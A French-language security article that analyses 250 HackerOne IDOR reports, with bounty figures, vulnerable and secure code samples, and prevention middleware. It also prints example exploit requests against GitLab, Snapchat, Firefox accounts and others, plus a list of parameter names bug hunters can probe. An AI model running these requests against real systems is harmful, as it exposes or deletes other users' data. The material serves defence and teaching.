IDOR dans la Nature : Analyse Complète de 250 Vulnérabilités Réelles

🔍 Résumé Exécutif

L'Insecure Direct Object Reference (IDOR) reste la vulnérabilité d'autorisation la plus persistante dans les applications web modernes. À travers l'analyse de 250 rapports IDOR divulgués sur HackerOne entre 2017 et 2025, cette étude révèle que l'IDOR n'est ni rare ni en déclin — il a atteint un pic de 50 rapports en 2022 seul et continue à un rythme de 30+ rapports par an.

Notre analyse expose une vérité inconfortable : bien qu'étant conceptuellement simple (changer un ID, accéder aux données de quelqu'un d'autre), les vulnérabilités IDOR ont généré plus de 129 408 $ en primes divulguées, avec des rapports individuels atteignant 20 000 $. Les conséquences réelles vont bien au-delà des chiffres — de la suppression du contenu monétisé de n'importe quel créateur Snapchat (15 000 $) au vol de projets GitLab privés incluant les secrets CI/CD (20 000 $) en passant par l'ajout d'utilisateurs non autorisés aux comptes business PayPal (10 500 $).

Ce qui rend l'IDOR si redoutable, c'est son ratio simplicité/impact : un seul changement de paramètre peut compromettre l'ensemble du modèle d'autorisation d'une plateforme. Et contrairement aux attaques par corruption mémoire ou injection, les scanners automatisés détectent rarement les IDORs — ils se cachent dans la logique métier, attendant qu'un humain remarque que user_id=1234 peut devenir user_id=1235.

🎯 Qu'est-ce que l'IDOR ?

L'Insecure Direct Object Reference se produit quand les applications exposent des références directes à des objets internes (IDs de base de données, chemins de fichiers, identifiants utilisateur) sans vérifier que l'utilisateur demandeur est autorisé à y accéder. Contrairement aux chaînes d'exploitation complexes, l'IDOR est souvent trivialement exploitable — changez un nombre, accédez aux données de quelqu'un d'autre.

# Votre propre profil
GET /api/users/1234/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN

# L'attaquant change l'ID → accède aux données d'un autre
GET /api/users/1235/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
# Le serveur renvoie le profil complet de la victime — aucune vérification de propriété

📊 Méthodologie d'Analyse

Cette étude examine 250 rapports IDOR divulgués depuis le Hacktivity de HackerOne, en se concentrant sur :

🔥 Résultats Clés

1. Distribution de Sévérité — L'IDOR Frappe Plus Fort Qu'on Ne le Croit

2. Tendances Temporelles — L'IDOR a Atteint son Pic en 2022, Toujours Présent

3. Programmes les Plus Ciblés

🔬 Analyse Approfondie des Schémas d'Attaque

# Requête originale — votre réservation
GET /api/v1/bookings/8847?token=abc123

# L'attaquant incrémente le booking_id
GET /api/v1/bookings/8848?token=abc123
# Retourne : nom de la victime, téléphone, adresse, trajet

POST /v1/account/destroy HTTP/1.1
Authorization: Bearer [ATTACKER_TOKEN]
Content-Type: application/json

{
  "email": "victim@example.com",
  "authPW": "deterministic_for_sso_users"
}

mutation DeleteStorySnaps {
  deleteStorySnaps(
    ids: ["VICTIM_SNAP_ID"],
    storyType: SPOTLIGHT_STORY
  )
}
# Le serveur supprime le contenu monétisé de la victime
# Aucune vérification de propriété sur l'ID du snap

GET /Download.aspx?id=4675 HTTP/1.1
# Retourne : document de personnel militaire

GET /Download.aspx?id=4676 HTTP/1.1
# Retourne : document suivant dans la séquence
# Aucune vérification d'autorisation sur la propriété du fichier

// project.json fabriqué à l'intérieur d'une archive tarball
{
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [99999]
}
// Import → vole les issues d'autres projets

🔥 Étude de Cas #1 : Import de Projet GitLab → 20 000 $

{
  "description": "Projet de l'attaquant",
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [12345678],
  "merge_requests": []
}

🔥 Étude de Cas #2 : Snapchat Spotlight → 15 000 $

POST /graphql HTTP/1.1
Content-Type: application/json
Cookie: [ATTACKER_SESSION]

{
  "operationName": "DeleteStorySnaps",
  "variables": {
    "ids": ["VICTIM_SPOTLIGHT_VIDEO_ID"],
    "storyType": "SPOTLIGHT_STORY"
  },
  "query": "mutation DeleteStorySnaps($ids: [String!]!, $storyType: StoryType!) {
    deleteStorySnaps(ids: $ids, storyType: $storyType)
  }"
}

🔥 Étude de Cas #3 : Mozilla Firefox → 6 000 $ (L'Histoire de l'Escalade)

POST /v1/account/destroy HTTP/1.1
Authorization: Bearer [ATTACKER_SESSION_TOKEN]
Content-Type: application/json

{
  "email": "victim@example.com",
  "authPW": "42b4c2940fe2efecce851a2d8e9754d0f1cb1d37..."
}

⚔️ La Kill Chain IDOR

🧱 Analyse des Causes Racines

# VULNÉRABLE — authentifie mais n'autorise pas
@require_authentication
def get_booking(booking_id):
    return database.get_booking_by_id(booking_id)  # Pas de vérification de propriété !

# SÉCURISÉ — authentifie ET autorise
@require_authentication
def get_booking(booking_id, current_user):
    booking = database.get_booking_by_id(booking_id)
    if booking.user_id != current_user.id:
        raise PermissionDenied("Pas votre réservation")
    return booking

// VULNÉRABLE — Les IDs séquentiels sont trivialement énumérables
const orderId = 1001; // Prochaine commande = 1002, 1003...

// MIEUX — Les UUIDs empêchent l'énumération (mais nécessitent toujours des vérifications de propriété !)
const orderId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
// Les UUIDs ne REMPLACENT PAS l'autorisation — c'est de la défense en profondeur

# Endpoint SÉCURISÉ — valide la propriété
GET /api/users/profile  ✓ Vérifie la propriété de session

# Endpoint VULNÉRABLE — même ressource, chemin différent
GET /api/users/{id}/orders  ✗ Validation manquante
GET /bugs.json?org_id={id}  ✗ Endpoint de recherche oublié

// VULNÉRABLE — Vérification côté client uniquement
if (currentUser.id === resourceOwnerId) {
    showDeleteButton(); // Caché ≠ Protégé
}
// Le endpoint API DELETE n'a aucune vérification
// Burp Suite contourne cela en quelques secondes

🏭 Analyse d'Impact par Industrie

💰 Analyse d'Impact Financier

🛡️ Stratégies de Prévention

# Middleware d'autorisation — TOUTES les routes passent par là
class OwnershipMiddleware:
    def process_request(self, request, resource_type, resource_id):
        resource = get_resource(resource_type, resource_id)
        if resource.owner_id != request.user.id:
            if not request.user.has_role('admin'):
                raise PermissionDenied(
                    f"L'utilisateur {request.user.id} ne peut pas accéder à "
                    f"{resource_type}/{resource_id}"
                )
        # Log d'audit pour chaque accès
        audit_log(request.user.id, resource_type, resource_id, 'access')

# VULNÉRABLE — récupère n'importe quelle réservation puis vérifie
booking = Booking.objects.get(id=booking_id)
if booking.user != request.user: raise PermissionDenied()

# SÉCURISÉ — la requête est scopée dès le départ
booking = Booking.objects.get(id=booking_id, user=request.user)
# Si l'utilisateur ne la possède pas → DoesNotExist → 404
# Aucun IDOR possible — la requête elle-même impose la propriété

# Définition de politique
resource: booking
actions: [read, update, delete]
rules:
  - condition: resource.user_id == request.user.id
    effect: allow
  - condition: request.user.role == 'admin'
    effect: allow
  - default: deny

🧪 Méthodologie pour les Chasseurs de Bugs

# Noms de paramètres à haute valeur à tester
user_id, id, uid, user, profile_id, account_id, member_id
booking_id, order_id, transaction_id, payment_id, invoice_id
document_id, file_id, attachment_id, media_id, asset_id
project_id, org_id, team_id, workspace_id, tenant_id
report_id, ticket_id, case_id, issue_id, request_id
comment_id, note_id, message_id, thread_id, conversation_id
certification_id, license_id, credential_id, badge_id

# Patterns spécifiques GraphQL
node(id: "base64_encoded_global_id")
mutation { deleteResource(id: "VICTIM_ID") }
query { user(id: VICTIM_INT) { privateField } }

# Patterns d'IDs encodés à décoder
base64: eyJ1c2VyX2lkIjoxMjM0fQ==  → {"user_id": 1234}
hex: 0x4D2  → 1234
uuid: vérifier si séquentiel ou vraiment aléatoire

👥 Profils des Chercheurs & Répartition Géographique

🔮 Tendances Futures et Menaces Émergentes

🏢 Recommandations pour les Organisations

🎯 Conclusion